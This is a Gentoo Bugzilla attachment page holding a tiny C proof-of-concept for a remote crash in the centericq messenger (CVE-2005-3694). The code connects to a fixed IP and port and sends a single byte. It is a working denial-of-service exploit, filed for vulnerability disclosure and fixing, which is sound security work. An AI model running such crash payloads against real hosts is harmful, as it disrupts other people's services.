Go to:
Gentoo Home
Documentation
Forums
Lists
Bugs
Planet
Store
Wiki
Get Gentoo!
Gentoo's Bugzilla – Attachment 64566 Details for
Bug 100519
net-im/centericq: 4.20.0-r3 remote crash (CVE-2005-3694)
Home
|
New
–
[Ex]
|
Browse
|
Search
|
Privacy Policy
|
[?]
|
Reports
|
Requests
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
centericq PoC "exploit"
w00t.c (text/plain), 809 bytes, created by
Stefan Cornelius (RETIRED)
on 2005-07-28 11:55:25 UTC
(
hide
)
Description:
centericq PoC "exploit"
Filename:
MIME Type:
Creator:
Stefan Cornelius (RETIRED)
Created:
2005-07-28 11:55:25 UTC
Size:
809 bytes
patch
obsolete
>#include <string.h> >#include <sys/types.h> >#include <sys/socket.h> >#include <netinet/in.h> > >#define DEST_IP "192.168.1.33" >#define DEST_PORT 7777 > > main() > { > int sockfd; > struct sockaddr_in dest_addr; // will hold the destination addr > > sockfd = socket(AF_INET, SOCK_STREAM, 0); // do some error checking! > > dest_addr.sin_family = AF_INET; // host byte order > dest_addr.sin_port = htons(DEST_PORT); // short, network byte order > dest_addr.sin_addr.s_addr = inet_addr(DEST_IP); > memset(&(dest_addr.sin_zero), '\0', 8); // zero the rest of the struct > > // don't forget to error check the connect()! > connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)); > char *msg[] = { 0x01 }; > send(sockfd, msg, 1, 0); >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 100519
: 64566